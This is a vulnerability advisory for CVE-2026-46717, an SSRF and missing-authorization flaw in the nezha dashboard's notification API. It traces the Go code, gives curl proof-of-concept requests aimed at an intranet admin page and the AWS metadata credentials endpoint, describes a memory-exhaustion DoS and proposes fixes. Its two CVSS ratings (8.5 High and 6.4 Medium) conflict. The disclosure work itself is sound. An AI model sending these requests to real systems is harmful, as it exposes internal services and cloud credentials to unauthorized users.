PT-2026-42858 · Go · Github.Com/Nezhahq/Nezha

Published

2026-05-23

·

Updated

2026-05-23

·

CVE-2026-46717

CVSS v3.1

8.5

High

VectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
  auth.GET("/notification", listHandler(listNotification))
  auth.POST("/notification", commonHandler(createNotification))  // <-- commonHandler, not adminHandler
For comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))
adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
  var nf model.NotificationForm
  if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
  var n model.Notification
  n.UserID = getUid(c)
  n.Name = nf.Name
  n.RequestMethod = nf.RequestMethod
  n.RequestType = nf.RequestType
  n.RequestHeader = nf.RequestHeader
  n.RequestBody = nf.RequestBody
  n.URL = nf.URL
  ...
  ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
  if !nf.SkipCheck {
    if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
      return 0, err  // <-- err.Error() reflects up to caller via newErrorResponse
    }
  }
  ...
}
Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
  var client *http.Client
  n := ns.Notification
  if n.VerifyTLS != nil && *n.VerifyTLS {
    client = utils.HttpClient
  } else {
    client = utils.HttpClientSkipTlsVerify
  }
  reqBody, err := ns.reqBody(message)
  if err != nil { return err }
  reqMethod, err := n.reqMethod()
  if err != nil { return err }
  req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
  if err != nil { return err }
  n.setContentType(req)
  if err := n.setRequestHeader(req); err != nil { return err }
  resp, err := client.Do(req)
  if err != nil { return err }
  defer func() {  = resp.Body.Close() }()
  if resp.StatusCode < 200 || resp.StatusCode > 299 {
    body,  := io.ReadAll(resp.Body)  // <-- NO io.LimitReader
    return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
  } else {
     ,  = io.Copy(io.Discard, resp.Body)
  }
  return nil
}
The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

curl -X POST -H "Authorization: Bearer <member-jwt>" 
 -H "Content-Type: application/json" 
 -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request method":1,"request type":1,"verify tls":false,"skip check":false}' 
 http://nezha-dashboard.example.com/api/v1/notification
Response:
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}

B. AWS IMDSv2 reachability + body leak

curl -X POST -H "Authorization: Bearer <member-jwt>" 
 -H "Content-Type: application/json" 
 -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request method":1,"request type":1,"verify tls":false,"skip check":false}' 
 http://nezha-dashboard.example.com/api/v1/notification
IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Suggested fix

  1. Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.
auth.POST("/notification", adminHandler(createNotification))
auth.PATCH("/notification/:id", adminHandler(updateNotification))
  1. SSRF-harden NotificationServerBundle.Send():
  • Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
  • Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU.
  • Refuse non-http(s) schemes.
  1. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.
  2. Reconsider VerifyTLS=false toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.

Severity

  • CVSS 3.1: Medium — AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
  • Auth: authenticated RoleMember (Role == 1).

Reproduction environment

  • Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
  • Code locations:
  • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
  • Sink: model/notification.go:113-159
  • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.

Fix

Incorrect Authorization

SSRF

Weakness Enumeration

Related Identifiers

CVE-2026-46717
GHSA-W4G9-MXGG-J532

Affected Products

Github.Com/Nezhahq/Nezha